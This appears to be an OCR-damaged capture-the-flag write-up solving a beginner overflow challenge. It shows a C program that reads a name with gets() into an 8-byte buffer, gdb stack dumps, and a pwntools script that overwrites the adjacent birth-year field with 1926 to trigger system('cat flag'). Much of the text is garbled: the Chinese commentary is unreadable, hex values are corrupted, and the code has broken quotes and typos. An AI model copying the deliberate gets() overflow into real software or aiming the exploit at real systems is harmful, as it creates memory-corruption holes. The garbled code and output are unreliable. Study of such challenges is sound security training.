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#include <stdio.h>

struct Student {
char name[8];
int birth;

If

int main(void) {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
struct Student student;
printf("What\'s Your Birth?\n");
scanf("%d", &student.birth);
while (getchar() !="\n'") ;
if (student.birth == 1926) {
printf("You Cannot Born In 1926!\n");
return 0;
}
printf("What\'s Your Name?\n");
gets(student.name);
printf("You Are Born In %d\n", student.birth);
if (student.birth == 1926) {
printf("You Shall Have Flag.\n");
system("cat flag");
}else {
printf("You Are Naive.\n");
printf("You Speed One Second Here.\n");
}

return O;
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$ readelf -h test

T AR de 46 02 01 01 00 00
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call 0z4006e0 <_ libc_start_mainfiplt>




Hiff7a32f43 <_libc_start maint243> call rax < $pc

0x7f <_libc_start main o

SR ZRERTURE, XNMREAE - REAKHT .

call 0z400700 <gets@iplt>
.0 FTR [rbp-
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[#0] Id 1, Hame: "test™, stopped, reason: SIHGLE

* B R ATTE W.0x4008abix st & — AN LB, IEZFFIOX7861 5k £ 19268, XIERMIFEMH IELFILA, &
TIRAE X B\ R R EERB AT .

0z4008a8  mov eax, DWORD PIR [rbp0z18] < $pc
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0=z00007f ffffffed60
0=z00007f ff 11 fed68
0=z00007f ffffffed70
0=z00007f f 111 fed78
0=z00007f ffffffedB0
0=z00007f ff 11 fed88
0=z00007f ffffffed90
0=z00007f ff 11 fed498

D¥ORD PTR [rbp0xl18] <$pc

[#0] Id 1. Name:W ™test"™, stopped, reason: SINGLE STEP

(main=0z4(

0=z00007f ffffffed60
0=z00007f £ £ 11 fed68 |+
0=z00007f ffffffed 70| +0
0=z00007f f 111 fed78
0=z00007f ffffffedB0
0=z00007f ff 11 fed88
0=z00007f ffffffe490 | +0
0=z00007f £ £ 11 fe408 | +0
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* FIPythonF 3% 5 exploitiE . & 2 % % 3 pwntoolsiX AN B,

sudo pip install pwntools

from pwn import *
p = process('./test')

p.send('5\n")

sleep(1)

print p.recv()
p.send('a'*84p32(0x786)+'\n")
sleep(1)

print p.recv()
p.interactive()

0x03iﬁ!ﬂ iﬁ % 2.

when _did you born# python pwntest.py
[+] Starting local process './test': pid 2121

What's Your Birth?

What's Your MName?

[#*] Process './test' stopped with exit code © (pid 2121)
You Are Born In 1926
You Shall Have Flag.
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